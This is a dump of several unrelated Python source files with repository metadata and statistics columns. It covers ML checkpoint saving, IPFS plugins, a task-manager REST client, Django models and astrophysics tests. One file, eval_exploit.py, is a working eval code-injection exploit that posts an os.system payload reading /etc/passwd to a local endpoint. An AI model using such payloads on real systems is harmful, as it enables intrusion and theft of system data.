| 17.5 | 48 | 0.720635 | 51 | 315 | 4.333333 | 0.529412 | 0.162896 | 0.081448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015686 | 0.190476 | 315 | 17 | 49 | 18.529412 | 0.85098 | 0.180952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.375 | false | 0 | 0.25 | 0.375 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
c0c041a96b1c241f11a677606ab02bd4e97ae8ae | 1,833 | py | Python | chains/core/saver.py | thirionjl/chains | 31bd4b85744fd56096fcc08027e8d20ce145bf0b | [
"MIT"
] | 2 | 2019-03-07T12:55:14.000Z | 2020-05-31T14:04:10.000Z | chains/core/saver.py | thirionjl/chains | 31bd4b85744fd56096fcc08027e8d20ce145bf0b | [
"MIT"
] | 287 | 2018-10-10T16:09:21.000Z | 2022-03-28T09:30:20.000Z | chains/core/saver.py | thirionjl/chains | 31bd4b85744fd56096fcc08027e8d20ce145bf0b | [
"MIT"
] | null | null | null | from typing import Mapping, Any
from .ops import Op, Var
from .ops_norm import BatchNormPredict, BatchNormTraining
from .tensor import Tensor
registered_savers = []
def register(saver_class: type):
# validate.is_a("saver_class", saver_class, Saver)
registered_savers.append(saver_class())
print(f"[DEBUG] Register saver class {saver_class}")
class MetaSaver(type):
def __new__(meta, name, bases, class_dict) -> Any:
cls = type.__new__(meta, name, bases, class_dict)
register(cls)
return cls
class Saver(metaclass=MetaSaver):
@classmethod
def accepts(cls, op: Op) -> bool:
return False
def save(self, op: Op) -> Mapping[str, Tensor]:
raise NotImplementedError
def restore(self, op: Op, values: Mapping[str, Tensor]) -> None:
raise NotImplementedError
def save(op: Op):
for saver in registered_savers:
if saver.accepts(op):
return saver.save(op)
return None
def restore(op: Op, values: Mapping[str, Tensor]) -> None:
for saver in registered_savers:
if saver.accepts(op):
saver.restore(op, values)
class VarSaver(Saver):
@classmethod
def accepts(cls, op: Op) -> bool:
return isinstance(op, Var)
def save(self, op: Op) -> Mapping[str, Tensor]:
return {'value': op.output}
def restore(self, op: Op, values: Mapping[str, Tensor]) -> None:
op.output = values['value']
class BatchNormSaver(Saver):
@classmethod
def accepts(cls, op: Op) -> bool:
return isinstance(op, BatchNormPredict) \
or isinstance(op, BatchNormTraining)
def save(self, op):
return {'avg': op.avg, 'var': op.var}
def restore(self, op, values: Mapping[str, Tensor]):
op.avg = values['avg']
op.var = values['var']
| 24.44 | 68 | 0.637207 | 232 | 1,833 | 4.943966 | 0.24569 | 0.031386 | 0.083697 | 0.062772 | 0.423714 | 0.40279 | 0.359198 | 0.333043 | 0.245859 | 0.172624 | 0 | 0 | 0.24168 | 1,833 | 74 | 69 | 24.77027 | 0.82518 | 0.026187 | 0 | 0.333333 | 0 | 0 | 0.035895 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.270833 | false | 0 | 0.083333 | 0.104167 | 0.604167 | 0.020833 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
c0c0819e33134ad6d3b67b299aaf7f833b361a07 | 541 | py | Python | teatime/plugins/ipfs/__init__.py | dmuhs/toaster | a9c42a3de036be89fa5b5a2960b8d864052f9839 | [
"MIT"
] | 87 | 2020-09-11T14:49:15.000Z | 2022-03-27T13:49:00.000Z | teatime/plugins/ipfs/__init__.py | dmuhs/toaster | a9c42a3de036be89fa5b5a2960b8d864052f9839 | [
"MIT"
] | 13 | 2020-09-28T14:25:06.000Z | 2022-03-01T18:13:51.000Z | teatime/plugins/ipfs/__init__.py | dmuhs/toaster | a9c42a3de036be89fa5b5a2960b8d864052f9839 | [
"MIT"
] | 7 | 2020-09-29T08:02:15.000Z | 2021-12-08T15:10:41.000Z | from .add import OpenUploadAdd, OpenUploadTarAdd
from .commands import CommandCheck
from .files import CIDFSEnum, FilestoreEnum, UnixFSEnum
from .keys import KeyLeaks
from .logs import ChangeLogLevel, EnumerateLogs, ReadLogs
from .p2p import (
P2PCloseStream,
P2PCreateListener,
P2PEnableForwarding,
P2PListListeners,
P2PListStreams,
P2PStopForwarding,
)
from .pins import AddPin, EnumeratePins, RemovePin
from .shutdown import Shutdown
from .version import DependencyVersion, Version
from .webui import WebUIEnabled
| 30.055556 | 57 | 0.805915 | 53 | 541 | 8.226415 | 0.622642 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015152 | 0.146026 | 541 | 17 | 58 | 31.823529 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.588235 | 0 | 0.588235 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
c0c2a90b3112cb061c1efe0004753c30acab3c98 | 203 | py | Python | exploits/eval_exploit.py | denny00786/CASoftwareDevelopment | d03c82b6bb033a39b4270115ec464eca773e0814 | [
"Apache-2.0"
] | 1 | 2020-04-02T00:29:16.000Z | 2020-04-02T00:29:16.000Z | exploits/eval_exploit.py | denny00786/CASoftwareDevelopment | d03c82b6bb033a39b4270115ec464eca773e0814 | [
"Apache-2.0"
] | null | null | null | exploits/eval_exploit.py | denny00786/CASoftwareDevelopment | d03c82b6bb033a39b4270115ec464eca773e0814 | [
"Apache-2.0"
] | 4 | 2021-04-01T21:31:01.000Z | 2022-03-23T08:22:44.000Z | import requests
url = 'http://localhost/eval'
shellcode = "__import__('os').system('cat /etc/passwd')"
data = {'input_data': shellcode}
response = requests.post(url, data=data)
print(response.text)
| 16.916667 | 56 | 0.70936 | 26 | 203 | 5.346154 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1133 | 203 | 11 | 57 | 18.454545 | 0.772222 | 0 | 0 | 0 | 0 | 0 | 0.359606 | 0.137931 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.166667 | 0.333333 | 0 | 0.333333 | 0.166667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 3 |
c0c5ccd503b97f96ac6f1cf60e1a74df45be373e | 260 | py | Python | ansible-devel/test/integration/targets/egg-info/lookup_plugins/import_pkg_resources.py | satishcarya/ansible | ed091e174c26316f621ac16344a95c99f56bdc43 | [
"MIT"
] | null | null | null | ansible-devel/test/integration/targets/egg-info/lookup_plugins/import_pkg_resources.py | satishcarya/ansible | ed091e174c26316f621ac16344a95c99f56bdc43 | [
"MIT"
] | null | null | null | ansible-devel/test/integration/targets/egg-info/lookup_plugins/import_pkg_resources.py | satishcarya/ansible | ed091e174c26316f621ac16344a95c99f56bdc43 | [
"MIT"
] | null | null | null | from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import pkg_resources
from ansible.plugins.lookup import LookupBase
class LookupModule(LookupBase):
def run(self, terms, variables, **kwargs):
return ['ok']
| 21.666667 | 66 | 0.761538 | 30 | 260 | 6.233333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 260 | 11 | 67 | 23.636364 | 0.85 | 0 | 0 | 0 | 0 | 0 | 0.007692 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.428571 | 0.142857 | 0.857143 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 3 |
c0de0585616d49f2b62dcd3fcd61305aba5e30d8 | 5,727 | py | Python | tests/system_tests/rest_api.py | Curtis241/taskmgr | ac485395d189e0c150e87bab8807b42d341545ed | [
"MIT"
] | null | null | null | tests/system_tests/rest_api.py | Curtis241/taskmgr | ac485395d189e0c150e87bab8807b42d341545ed | [
"MIT"
] | 4 | 2021-03-25T22:39:57.000Z | 2021-07-19T05:46:38.000Z | tests/system_tests/rest_api.py | Curtis241/taskmgr | ac485395d189e0c150e87bab8807b42d341545ed | [
"MIT"
] | null | null | null | import requests
class RequestBody:
def __init__(self, name: str, value1: str = None, value2: str = None):
self.__name = name
self.__value1 = value1
self.__value2 = value2
def __iter__(self):
yield "name", self.__name
if self.__value1 is not None:
yield "value1", self.__value1
if self.__value2 is not None:
yield "value2", self.__value2
class TaskModel:
def __init__(self, text: str, project: str, label: str, date_expression: str):
self.index = None
self.text = text
self.project = project
self.label = label
self.date_expression = date_expression
def __iter__(self):
if self.index is not None:
yield "index", self.index
yield "text", self.text
yield "project", self.project
yield "label", self.label
yield "date_expression", self.date_expression
class RestApi:
def __init__(self):
self.__basename = "http://localhost:8000/"
def __build_path(self, path: str) -> str:
return f"{self.__basename}{path}"
@staticmethod
def __parse_response(response: requests.Response):
response.raise_for_status()
if response.status_code in [200, 201]:
return response.json()
def get(self, path: str) -> dict:
with requests.Session() as session:
response = session.get(self.__build_path(path))
return self.__parse_response(response)
def post(self, path: str, data: dict):
with requests.Session() as session:
response = session.post(self.__build_path(path), json=data)
return self.__parse_response(response)
def put(self, path: str, data: dict = None):
with requests.Session() as session:
if data:
response = session.put(self.__build_path(path), json=data)
else:
response = session.put(self.__build_path(path))
return self.__parse_response(response)
def delete(self, path: str):
with requests.Session() as session:
response = session.delete(self.__build_path(path))
return self.__parse_response(response)
class Project(RestApi):
def __init__(self):
super().__init__()
def get_list(self) -> dict:
return self.put("unique/", dict(RequestBody("project")))
class Label(RestApi):
def __init__(self):
super().__init__()
def get_list(self) -> dict:
return self.put("unique/", dict(RequestBody("label")))
class Task(RestApi):
def __init__(self):
super().__init__()
def get_task(self, index: str) -> dict:
return self.get(f"tasks/task/{index}")
def delete_task(self, uuid: str) -> dict:
return self.delete(f"tasks/task/delete/{uuid}")
def undelete_task(self, uuid: str) -> dict:
return self.delete(f"tasks/task/undelete/{uuid}")
def complete_task(self, uuid: str) -> dict:
return self.put(f"tasks/task/complete/{uuid}")
def incomplete_task(self, uuid: str) -> dict:
return self.put(f"tasks/task/incomplete/{uuid}")
class Tasks(RestApi):
def __init__(self):
super().__init__()
self.__group_path = "group/"
self.__count_path = "count/"
self.__filter_path = "filter/"
def get_all(self) -> dict:
return self.get("tasks")
def add(self, text: str, project: str, label: str, date_expression: str) -> dict:
return self.post("tasks", dict(TaskModel(text, project, label, date_expression)))
def edit(self, index: str, text: str, project: str, label: str, date_expression: str) -> dict:
model = TaskModel(text, project, label, date_expression)
model.index = index
return self.put("tasks", dict(model))
def remove_all(self) -> dict:
return self.delete("tasks")
def reschedule(self):
self.put("reschedule/")
def group_by_label(self):
return self.put(self.__group_path, dict(RequestBody("label")))
def group_by_project(self):
return self.put(self.__group_path, dict(RequestBody("project")))
def group_by_due_date(self):
return self.put(self.__group_path, dict(RequestBody("due_date")))
def count_all(self) -> dict:
return self.get("count_all")
def count_by_due_date(self, due_date: str) -> dict:
return self.put(self.__count_path, dict(RequestBody("due_date", due_date)))
def count_by_project(self, project_name: str) -> dict:
return self.put(self.__count_path, dict(RequestBody("project", project_name)))
def count_by_due_date_range(self, min_date: str, max_date: str) -> dict:
request_body = dict(RequestBody("due_date_range", min_date, max_date))
return self.put(self.__count_path, request_body)
def filter_by_project(self, project_name: str) -> dict:
return self.put(self.__filter_path, dict(RequestBody("project", project_name)))
def filter_by_label(self, label: str) -> dict:
return self.put(self.__filter_path, dict(RequestBody("label", label)))
def filter_by_text(self, text: str) -> dict:
return self.put(self.__filter_path, dict(RequestBody("text", text)))
def filter_by_due_date(self, due_date: str) -> dict:
return self.put(self.__filter_path, dict(RequestBody("due_date", due_date)))
def filter_by_status(self, status: str) -> dict:
return self.put(self.__filter_path, dict(RequestBody("status", status)))
def filter_by_due_date_range(self, min_date: str, max_date: str) -> dict:
return self.put(self.__filter_path, dict(RequestBody("due_date_range", min_date, max_date)))
| 31.125 | 100 | 0.641173 | 739 | 5,727 | 4.658999 | 0.106901 | 0.081324 | 0.077258 | 0.069126 | 0.59454 | 0.559396 | 0.487947 | 0.447865 | 0.403137 | 0.332559 | 0 | 0.00501 | 0.233281 | 5,727 | 183 | 101 | 31.295082 | 0.779094 | 0 | 0 | 0.170732 | 0 | 0 | 0.069369 | 0.022191 | 0 | 0 | 0 | 0 | 0 | 1 | 0.325203 | false | 0 | 0.00813 | 0.186992 | 0.634146 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
c0eac396a9958c1dd2e0c3fd4b4848ec0fb9a6cd | 167 | py | Python | scripts/preprocess/extract_zip.py | ELITA04/FGTD | 29d327a7172706049e26d1048a77c465b1bcb08c | [
"MIT"
] | 3 | 2020-12-26T07:03:47.000Z | 2022-02-03T16:31:16.000Z | scripts/preprocess/extract_zip.py | ELITA04/FGTD | 29d327a7172706049e26d1048a77c465b1bcb08c | [
"MIT"
] | null | null | null | scripts/preprocess/extract_zip.py | ELITA04/FGTD | 29d327a7172706049e26d1048a77c465b1bcb08c | [
"MIT"
] | 2 | 2020-12-31T06:15:52.000Z | 2021-07-19T08:08:20.000Z | import zipfile
def extract_zip(base_location, target_location):
with zipfile.ZipFile(base_location, "r") as zip_ref:
zip_ref.extractall(target_location)
| 23.857143 | 56 | 0.766467 | 23 | 167 | 5.26087 | 0.565217 | 0.198347 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.149701 | 167 | 6 | 57 | 27.833333 | 0.852113 | 0 | 0 | 0 | 0 | 0 | 0.005988 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c0ebca053013341ba8d86aa528cbb3b601787bf9 | 956 | py | Python | Persist/webapp/models.py | daniel1yuan/Persist | 0e90e1ee418c6b794fd0b316ee0e9fd80b15bea0 | [
"MIT"
] | 2 | 2017-02-26T00:30:20.000Z | 2017-05-03T20:57:00.000Z | Persist/webapp/models.py | daniel1yuan/Persist | 0e90e1ee418c6b794fd0b316ee0e9fd80b15bea0 | [
"MIT"
] | null | null | null | Persist/webapp/models.py | daniel1yuan/Persist | 0e90e1ee418c6b794fd0b316ee0e9fd80b15bea0 | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from django.db import models
from django.contrib.auth.models import User
import django.utils
import datetime
class Customer(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE)
habits = models.TextField(null=True)
# Create your models here.
class Habit(models.Model):
name = models.CharField(max_length = 20)
description = models.TextField()
monetary_amount = models.IntegerField(default = 0)
#start_date = models.DateTimeField(auto_now=True)
#last_clicked = models.DateTimeField(default = django.utils.timezone.now)
#end_date = models.DateTimeField(null = True)
start_date = models.IntegerField(default = 0)
last_clicked = models.IntegerField(default = 0)
end_date = models.IntegerField(default = 0)
status = models.IntegerField(default = 0)
charity = models.IntegerField(default = 0)
user = models.ForeignKey(User, on_delete = models.CASCADE, null = True)
| 34.142857 | 75 | 0.76569 | 122 | 956 | 5.868852 | 0.418033 | 0.150838 | 0.209497 | 0.217877 | 0.153631 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009662 | 0.133891 | 956 | 27 | 76 | 35.407407 | 0.855072 | 0.197699 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.277778 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
c0fb09a88241cbc86a57a5e10b369286ab1153fb | 262 | py | Python | tests/test_dates.py | Prasuna-mit/Information-Redaction | da74e226fd86af6d0c282eba70313e61b2375a9e | [
"MIT"
] | null | null | null | tests/test_dates.py | Prasuna-mit/Information-Redaction | da74e226fd86af6d0c282eba70313e61b2375a9e | [
"MIT"
] | null | null | null | tests/test_dates.py | Prasuna-mit/Information-Redaction | da74e226fd86af6d0c282eba70313e61b2375a9e | [
"MIT"
] | null | null | null | import pytest
import main
from main import redator
file1 = ['The Burbank-based media giant stated that staffers whose jobs aren’t necessary at this time will be furloughed as of April 19']
def test1(file1):
test1,cnt1 = red_dates(file1)
assert cnt1 == 1
| 32.75 | 137 | 0.755725 | 43 | 262 | 4.581395 | 0.837209 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046729 | 0.183206 | 262 | 7 | 138 | 37.428571 | 0.873832 | 0 | 0 | 0 | 0 | 0.142857 | 0.477099 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.142857 | false | 0 | 0.428571 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
238b2e8c6872fda9b01d898423f38a7121dc6ffa | 137 | py | Python | backend/storage/apps.py | NeilsC/prestige | 668e771c73476a54ecc5186ead447f0cd49b21b7 | [
"Apache-2.0"
] | 314 | 2021-02-14T04:58:47.000Z | 2022-03-20T22:12:32.000Z | backend/storage/apps.py | NeilsC/prestige | 668e771c73476a54ecc5186ead447f0cd49b21b7 | [
"Apache-2.0"
] | 17 | 2021-04-25T06:05:49.000Z | 2022-02-05T02:04:10.000Z | backend/storage/apps.py | admariner/prestige | 25ba4a9bd197671db7506bcf996be08a9bac29bd | [
"Apache-2.0"
] | 9 | 2021-06-07T12:42:40.000Z | 2022-02-04T15:32:40.000Z | from django.apps import AppConfig
class StorageConfig(AppConfig):
default_auto_field = "django.db.models.AutoField"
name = "storage"
| 19.571429 | 50 | 0.788321 | 17 | 137 | 6.235294 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116788 | 137 | 6 | 51 | 22.833333 | 0.876033 | 0 | 0 | 0 | 0 | 0 | 0.240876 | 0.189781 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
23aee81275c1f4bad78e12cd188515e003ee0c9d | 165 | py | Python | pype/modules/adobe_communicator/lib/__init__.py | kalisp/pype | 28bbffaf2d12ccee48313cd9985e8dfa05e81a5c | [
"MIT"
] | null | null | null | pype/modules/adobe_communicator/lib/__init__.py | kalisp/pype | 28bbffaf2d12ccee48313cd9985e8dfa05e81a5c | [
"MIT"
] | null | null | null | pype/modules/adobe_communicator/lib/__init__.py | kalisp/pype | 28bbffaf2d12ccee48313cd9985e8dfa05e81a5c | [
"MIT"
] | null | null | null | from .io_nonsingleton import DbConnector
from .rest_api import AdobeRestApi, PUBLISH_PATHS
__all__ = [
"PUBLISH_PATHS",
"DbConnector",
"AdobeRestApi"
]
| 18.333333 | 49 | 0.739394 | 17 | 165 | 6.705882 | 0.647059 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.175758 | 165 | 8 | 50 | 20.625 | 0.838235 | 0 | 0 | 0 | 0 | 0 | 0.218182 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
23ff69637f82addae0325c842c00f5a222080a6a | 2,369 | py | Python | tests/test_estimators.py | astrojose9/fulmar | 62a79fb9b7ab01e5b7b3acadaca8e4f0db0e0e2f | [
"MIT"
] | null | null | null | tests/test_estimators.py | astrojose9/fulmar | 62a79fb9b7ab01e5b7b3acadaca8e4f0db0e0e2f | [
"MIT"
] | null | null | null | tests/test_estimators.py | astrojose9/fulmar | 62a79fb9b7ab01e5b7b3acadaca8e4f0db0e0e2f | [
"MIT"
] | null | null | null | import os
import sys
# sys.path.insert(0, os.path.abspath('/home/jrodrigues/Documents/PhD/fulmar'))
from fulmar.estimators import (
estimate_planet_mass,
estimate_semi_amplitude
)
from fulmar.utils import (
FulmarWarning
)
import astropy.units as u
import numpy as np
import numpy.testing as npt
from astropy.units import UnitConversionError
import pytest
def test_estimate_planet_mass():
"""test if estimate_planet_mass behaves as expected"""
npt.assert_equal(estimate_planet_mass(
1, 'Earth').value, 1) # * u.earthMass)
npt.assert_almost_equal(estimate_planet_mass(
1, 'Neptune').value, 0.29706202) # * u.earthMass)
npt.assert_almost_equal(estimate_planet_mass(
1, 5514).value, 1) # * u.earthMass)
with pytest.raises(TypeError, match='`astropy.units.Quantity` or float'):
estimate_planet_mass('string', 'Earth')
with pytest.raises(ValueError, match="Accepted str values for rho_p"):
estimate_planet_mass(1, 'Uranus')
with pytest.raises(UnitConversionError):
estimate_planet_mass(1 * u.s, 'neptune')
def test_estimate_semi_amplitude():
"""test if estime_semi_amplitude behaves as exected"""
npt.assert_almost_equal(estimate_semi_amplitude(
365, 1, 1).value, 0.08948015) # * u.m / u.s)
npt.assert_almost_equal(estimate_semi_amplitude(
365, 1, R_planet=1, rho_planet='earth').value, 0.08948015) # * u.m / u.s)
npt.assert_equal(estimate_semi_amplitude(
365, 1, 1, inc=0).value, 0)
npt.assert_almost_equal(estimate_semi_amplitude(
365, 1, 1, ecc=0.5).value, 0.12654404) # * u.m / u.s)
with pytest.raises(TypeError, match='`astropy.units.Quantity` or float'):
estimate_planet_mass('1 earthRad', 'earth')
estimate_semi_amplitude('1 year', 1, 1)
estimate_semi_amplitude(365, '1 solMass', 1)
estimate_semi_amplitude(365, 1, M_planet='1 earthMass')
estimate_semi_amplitude(365, 1, M_planet=1 * u.earthMass, inc='90 deg')
with pytest.raises(ValueError, match='required when M_planet is not'):
estimate_semi_amplitude(365, 1)
estimate_semi_amplitude(365, 1, R_planet=1)
estimate_semi_amplitude(365, 1, rho_planet=1)
with pytest.warns(FulmarWarning, match='overrides'):
estimate_semi_amplitude(365, 1, 1, R_planet=1, rho_planet='earth')
| 36.446154 | 82 | 0.699451 | 333 | 2,369 | 4.753754 | 0.252252 | 0.123184 | 0.185723 | 0.166772 | 0.500948 | 0.431459 | 0.382186 | 0.339229 | 0.271636 | 0.214782 | 0 | 0.058217 | 0.180667 | 2,369 | 64 | 83 | 37.015625 | 0.757342 | 0.109329 | 0 | 0.145833 | 0 | 0 | 0.107979 | 0.022934 | 0 | 0 | 0 | 0 | 0.145833 | 1 | 0.041667 | true | 0 | 0.1875 | 0 | 0.229167 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9b018fb81b72f0c39eac8b18687b8ebe93d30238 | 116 | py | Python | patchserver/__init__.py | brysontyrrell/PatchServer | 7ecd63aaa67a781b1ef222dce436d616727b57c0 | [
"MIT"
] | 76 | 2017-10-25T23:43:45.000Z | 2022-03-07T03:35:39.000Z | patchserver/__init__.py | brysontyrrell/PatchServer | 7ecd63aaa67a781b1ef222dce436d616727b57c0 | [
"MIT"
] | 24 | 2018-02-13T23:00:34.000Z | 2021-07-09T13:34:29.000Z | patchserver/__init__.py | brysontyrrell/PatchServer | 7ecd63aaa67a781b1ef222dce436d616727b57c0 | [
"MIT"
] | 19 | 2017-12-18T17:40:54.000Z | 2020-11-16T15:43:22.000Z | """Patch Server for Jamf Pro"""
__title__ = "Patch Server"
__version__ = "2020.10.02"
__author__ = "Bryson Tyrrell"
| 23.2 | 31 | 0.715517 | 15 | 116 | 4.733333 | 0.866667 | 0.309859 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 0.137931 | 116 | 4 | 32 | 29 | 0.63 | 0.215517 | 0 | 0 | 0 | 0 | 0.423529 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f1ba6a71ca1e25987629c42da27a51fbe3b2bf61 | 258 | py | Python | statuscheck/services/travis.py | amureki/statuscheck | caff92ef211f1fd2bf6c8a18ba8243eb434bc0df | [
"Apache-2.0"
] | 35 | 2018-10-22T06:04:55.000Z | 2022-02-01T10:20:00.000Z | statuscheck/services/travis.py | amureki/statuscheck | caff92ef211f1fd2bf6c8a18ba8243eb434bc0df | [
"Apache-2.0"
] | 209 | 2018-10-22T11:44:57.000Z | 2022-03-31T04:02:37.000Z | statuscheck/services/travis.py | amureki/statuscheck | caff92ef211f1fd2bf6c8a18ba8243eb434bc0df | [
"Apache-2.0"
] | 2 | 2020-06-05T02:41:19.000Z | 2020-09-03T07:03:46.000Z | from statuscheck.services.bases._statuspageio import BaseStatusPageAPI
class ServiceAPI(BaseStatusPageAPI):
name = "Travis CI"
domain_id = "pnpcptp8xh9k"
status_url = "https://www.traviscistatus.com/"
service_url = "https://travis-ci.com/"
| 28.666667 | 70 | 0.74031 | 28 | 258 | 6.678571 | 0.785714 | 0.085562 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00905 | 0.143411 | 258 | 8 | 71 | 32.25 | 0.837104 | 0 | 0 | 0 | 0 | 0 | 0.286822 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
f1be5ad558f22aa008fc6ea5a093e2890759fab0 | 290 | py | Python | uncluster/potential/potential_config.py | adrn/uncluster | 0e487f7cc17426bbd03ff1f02000bc3437075ab3 | [
"MIT"
] | null | null | null | uncluster/potential/potential_config.py | adrn/uncluster | 0e487f7cc17426bbd03ff1f02000bc3437075ab3 | [
"MIT"
] | 1 | 2017-01-23T14:54:41.000Z | 2017-01-23T14:54:41.000Z | uncluster/potential/potential_config.py | adrn/uncluster | 0e487f7cc17426bbd03ff1f02000bc3437075ab3 | [
"MIT"
] | null | null | null | # vvv --- THIS IS AUTO-GENERATED CODE - see scripts/setup-potential.py --- vvv
import astropy.units as u
m_h = 5.4596489e+11 * u.Msun
r_s = 15.7799796 * u.kpc
m_n = 1.7005340e+09 * u.Msun
c_n = 65.6443448 * u.pc
